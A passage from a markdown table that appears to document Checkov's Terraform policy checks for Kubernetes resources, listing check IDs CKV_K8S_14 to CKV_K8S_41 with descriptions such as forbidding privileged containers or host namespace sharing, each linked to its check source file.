kubernetes_deployment                                            | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py)                                                                                              |\n| 4352 | CKV_K8S_14      | resource | kubernetes_deployment_v1                                         | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py)                                                                                              |\n| 4353 | CKV_K8S_14      | resource | kubernetes_pod                                                   | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py)                                                                                              |\n| 4354 | CKV_K8S_14      | resource | kubernetes_pod_v1                                                | Image Tag should be fixed - not latest or blank                                                                                                                                                          | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py)                                                                                              |\n| 4355 | CKV_K8S_15      | resource | kubernetes_deployment                                            | Image Pull Policy should be Always                                                                                                                                                                       | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py)                                                                              |\n| 4356 | CKV_K8S_15      | resource | kubernetes_deployment_v1                                         | Image Pull Policy should be Always                                                                                                                                                                       | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py)                                                                              |\n| 4357 | CKV_K8S_15      | resource | kubernetes_pod                                                   | Image Pull Policy should be Always                                                                                                                                                                       | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py)                                                                              |\n| 4358 | CKV_K8S_15      | resource | kubernetes_pod_v1                                                | Image Pull Policy should be Always                                                                                                                                                                       | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py)                                                                              |\n| 4359 | CKV_K8S_16      | resource | kubernetes_deployment                                            | Do not admit privileged containers                                                                                                                                                                       | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py)                                                                                  |\n| 4360 | CKV_K8S_16      | resource | kubernetes_deployment_v1                                         | Do not admit privileged containers                                                                                                                                                                       | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py)                                                                                  |\n| 4361 | CKV_K8S_16      | resource | kubernetes_pod                                                   | Do not admit privileged containers                                                                                                                                                                       | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py)                                                                                  |\n| 4362 | CKV_K8S_16      | resource | kubernetes_pod_v1                                                | Do not admit privileged containers                                                                                                                                                                       | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py)                                                                                  |\n| 4363 | CKV_K8S_17      | resource | kubernetes_deployment                                            | Do not admit containers wishing to share the host process ID namespace                                                                                                                                   | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py)                                                                                                |\n| 4364 | CKV_K8S_17      | resource | kubernetes_deployment_v1                                         | Do not admit containers wishing to share the host process ID namespace                                                                                                                                   | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py)                                                                                                |\n| 4365 | CKV_K8S_17      | resource | kubernetes_pod                                                   | Do not admit containers wishing to share the host process ID namespace                                                                                                                                   | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py)                                                                                                |\n| 4366 | CKV_K8S_17      | resource | kubernetes_pod_v1                                                | Do not admit containers wishing to share the host process ID namespace                                                                                                                                   | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py)                                                                                                |\n| 4367 | CKV_K8S_18      | resource | kubernetes_deployment                                            | Do not admit containers wishing to share the host IPC namespace                                                                                                                                          | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py)                                                                                                |\n| 4368 | CKV_K8S_18      | resource | kubernetes_deployment_v1                                         | Do not admit containers wishing to share the host IPC namespace                                                                                                                                          | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py)                                                                                                |\n| 4369 | CKV_K8S_18      | resource | kubernetes_pod                                                   | Do not admit containers wishing to share the host IPC namespace                                                                                                                                          | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py)                                                                                                |\n| 4370 | CKV_K8S_18      | resource | kubernetes_pod_v1                                                | Do not admit containers wishing to share the host IPC namespace                                                                                                                                          | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py)                                                                                                |\n| 4371 | CKV_K8S_19      | resource | kubernetes_deployment                                            | Do not admit containers wishing to share the host network namespace                                                                                                                                      | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py)                                                                    |\n| 4372 | CKV_K8S_19      | resource | kubernetes_deployment_v1                                         | Do not admit containers wishing to share the host network namespace                                                                                                                                      | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py)                                                                    |\n| 4373 | CKV_K8S_19      | resource | kubernetes_pod                                                   | Do not admit containers wishing to share the host network namespace                                                                                                                                      | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py)                                                                    |\n| 4374 | CKV_K8S_19      | resource | kubernetes_pod_v1                                                | Do not admit containers wishing to share the host network namespace                                                                                                                                      | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py)                                                                    |\n| 4375 | CKV_K8S_20      | resource | kubernetes_deployment                                            | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py)                                                                        |\n| 4376 | CKV_K8S_20      | resource | kubernetes_deployment_v1                                         | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py)                                                                        |\n| 4377 | CKV_K8S_20      | resource | kubernetes_pod                                                   | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py)                                                                        |\n| 4378 | CKV_K8S_20      | resource | kubernetes_pod_v1                                                | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py)                                                                        |\n| 4379 | CKV_K8S_21      | resource | kubernetes_config_map                                            | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4380 | CKV_K8S_21      | resource | kubernetes_config_map_v1                                         | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4381 | CKV_K8S_21      | resource | kubernetes_cron_job                                              | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4382 | CKV_K8S_21      | resource | kubernetes_cron_job_v1                                           | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4383 | CKV_K8S_21      | resource | kubernetes_daemon_set_v1                                         | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4384 | CKV_K8S_21      | resource | kubernetes_daemonset                                             | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4385 | CKV_K8S_21      | resource | kubernetes_deployment                                            | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4386 | CKV_K8S_21      | resource | kubernetes_deployment_v1                                         | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4387 | CKV_K8S_21      | resource | kubernetes_ingress                                               | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4388 | CKV_K8S_21      | resource | kubernetes_ingress_v1                                            | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4389 | CKV_K8S_21      | resource | kubernetes_job                                                   | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4390 | CKV_K8S_21      | resource | kubernetes_job_v1                                                | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4391 | CKV_K8S_21      | resource | kubernetes_pod                                                   | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4392 | CKV_K8S_21      | resource | kubernetes_pod_v1                                                | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4393 | CKV_K8S_21      | resource | kubernetes_replication_controller                                | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4394 | CKV_K8S_21      | resource | kubernetes_replication_controller_v1                             | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4395 | CKV_K8S_21      | resource | kubernetes_role_binding                                          | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4396 | CKV_K8S_21      | resource | kubernetes_role_binding_v1                                       | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4397 | CKV_K8S_21      | resource | kubernetes_secret                                                | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4398 | CKV_K8S_21      | resource | kubernetes_secret_v1                                             | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4399 | CKV_K8S_21      | resource | kubernetes_service                                               | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4400 | CKV_K8S_21      | resource | kubernetes_service_account                                       | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4401 | CKV_K8S_21      | resource | kubernetes_service_account_v1                                    | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4402 | CKV_K8S_21      | resource | kubernetes_service_v1                                            | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4403 | CKV_K8S_21      | resource | kubernetes_stateful_set                                          | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4404 | CKV_K8S_21      | resource | kubernetes_stateful_set_v1                                       | The default namespace should not be used                                                                                                                                                                 | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 4405 | CKV_K8S_22      | resource | kubernetes_deployment                                            | Use read-only filesystem for containers where possible                                                                                                                                                   | Terraform | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py)                                                                            |\n| 4406 | CKV_K8S_22      | resource | kubernetes_deployment_v1                                         | Use read-only filesystem for containers where possible                                                                                                                                                   | Terraform | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py)                                                                            |\n| 4407 | CKV_K8S_22      | resource | kubernetes_pod                                                   | Use read-only filesystem for containers where possible                                                                                                                                                   | Terraform | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py)                                                                            |\n| 4408 | CKV_K8S_22      | resource | kubernetes_pod_v1                                                | Use read-only filesystem for containers where possible                                                                                                                                                   | Terraform | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py)                                                                            |\n| 4409 | CKV_K8S_24      | resource | kubernetes_pod_security_policy                                   | Do not allow containers with added capability                                                                                                                                                            | Terraform | [AllowedCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesPSP.py)                                                                            |\n| 4410 | CKV_K8S_25      | resource | kubernetes_deployment                                            | Minimize the admission of containers with added capability                                                                                                                                               | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py)                                                                                  |\n| 4411 | CKV_K8S_25      | resource | kubernetes_deployment_v1                                         | Minimize the admission of containers with added capability                                                                                                                                               | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py)                                                                                  |\n| 4412 | CKV_K8S_25      | resource | kubernetes_pod                                                   | Minimize the admission of containers with added capability                                                                                                                                               | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py)                                                                                  |\n| 4413 | CKV_K8S_25      | resource | kubernetes_pod_v1                                                | Minimize the admission of containers with added capability                                                                                                                                               | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py)                                                                                  |\n| 4414 | CKV_K8S_26      | resource | kubernetes_deployment                                            | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py)                                                                                                        |\n| 4415 | CKV_K8S_26      | resource | kubernetes_deployment_v1                                         | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py)                                                                                                        |\n| 4416 | CKV_K8S_26      | resource | kubernetes_pod                                                   | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py)                                                                                                        |\n| 4417 | CKV_K8S_26      | resource | kubernetes_pod_v1                                                | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py)                                                                                                        |\n| 4418 | CKV_K8S_27      | resource | kubernetes_daemon_set_v1                                         | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 4419 | CKV_K8S_27      | resource | kubernetes_daemonset                                             | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 4420 | CKV_K8S_27      | resource | kubernetes_deployment                                            | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 4421 | CKV_K8S_27      | resource | kubernetes_deployment_v1                                         | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 4422 | CKV_K8S_27      | resource | kubernetes_pod                                                   | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 4423 | CKV_K8S_27      | resource | kubernetes_pod_v1                                                | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 4424 | CKV_K8S_28      | resource | kubernetes_deployment                                            | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py)                                                                                        |\n| 4425 | CKV_K8S_28      | resource | kubernetes_deployment_v1                                         | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py)                                                                                        |\n| 4426 | CKV_K8S_28      | resource | kubernetes_pod                                                   | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py)                                                                                        |\n| 4427 | CKV_K8S_28      | resource | kubernetes_pod_v1                                                | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py)                                                                                        |\n| 4428 | CKV_K8S_29      | resource | kubernetes_daemon_set_v1                                         | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 4429 | CKV_K8S_29      | resource | kubernetes_daemonset                                             | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 4430 | CKV_K8S_29      | resource | kubernetes_deployment                                            | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 4431 | CKV_K8S_29      | resource | kubernetes_deployment_v1                                         | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 4432 | CKV_K8S_29      | resource | kubernetes_pod                                                   | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 4433 | CKV_K8S_29      | resource | kubernetes_pod_v1                                                | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 4434 | CKV_K8S_30      | resource | kubernetes_deployment                                            | Apply security context to your pods and containers                                                                                                                                                       | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py)                                                                        |\n| 4435 | CKV_K8S_30      | resource | kubernetes_deployment_v1                                         | Apply security context to your pods and containers                                                                                                                                                       | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py)                                                                        |\n| 4436 | CKV_K8S_30      | resource | kubernetes_pod                                                   | Apply security context to your pods and containers                                                                                                                                                       | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py)                                                                        |\n| 4437 | CKV_K8S_30      | resource | kubernetes_pod_v1                                                | Apply security context to your pods and containers                                                                                                                                                       | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py)                                                                        |\n| 4438 | CKV_K8S_32      | resource | kubernetes_pod_security_policy                                   | Ensure default seccomp profile set to docker/default or runtime/default                                                                                                                                  | Terraform | [SeccompPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SeccompPSP.py)                                                                                                    |\n| 4439 | CKV_K8S_34      | resource | kubernetes_deployment                                            | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py)                                                                                                            |\n| 4440 | CKV_K8S_34      | resource | kubernetes_deployment_v1                                         | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py)                                                                                                            |\n| 4441 | CKV_K8S_34      | resource | kubernetes_pod                                                   | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py)                                                                                                            |\n| 4442 | CKV_K8S_34      | resource | kubernetes_pod_v1                                                | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py)                                                                                                            |\n| 4443 | CKV_K8S_35      | resource | kubernetes_deployment                                            | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py)                                                                                                          |\n| 4444 | CKV_K8S_35      | resource | kubernetes_deployment_v1                                         | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py)                                                                                                          |\n| 4445 | CKV_K8S_35      | resource | kubernetes_pod                                                   | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py)                                                                                                          |\n| 4446 | CKV_K8S_35      | resource | kubernetes_pod_v1                                                | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py)                                                                                                          |\n| 4447 | CKV_K8S_36      | resource | kubernetes_pod_security_policy                                   | Minimise the admission of containers with capabilities assigned                                                                                                                                          | Terraform | [MinimiseCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilitiesPSP.py)                                                                          |\n| 4448 | CKV_K8S_37      | resource | kubernetes_deployment                                            | Minimise the admission of containers with capabilities assigned                                                                                                                                          | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py)                                                                                |\n| 4449 | CKV_K8S_37      | resource | kubernetes_deployment_v1                                         | Minimise the admission of containers with capabilities assigned                                                                                                                                          | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py)                                                                                |\n| 4450 | CKV_K8S_37      | resource | kubernetes_pod                                                   | Minimise the admission of containers with capabilities assigned                                                                                                                                          | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py)                                                                                |\n| 4451 | CKV_K8S_37      | resource | kubernetes_pod_v1                                                | Minimise the admission of containers with capabilities assigned                                                                                                                                          | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py)                                                                                |\n| 4452 | CKV_K8S_39      | resource | kubernetes_deployment                                            | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py)                                                                  |\n| 4453 | CKV_K8S_39      | resource | kubernetes_deployment_v1                                         | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py)                                                                  |\n| 4454 | CKV_K8S_39      | resource | kubernetes_pod                                                   | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py)                                                                  |\n| 4455 | CKV_K8S_39      | resource | kubernetes_pod_v1                                                | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                            | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py)                                                                  |\n| 4456 | CKV_K8S_41      | resource | kubernetes_service_account                                       | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform | 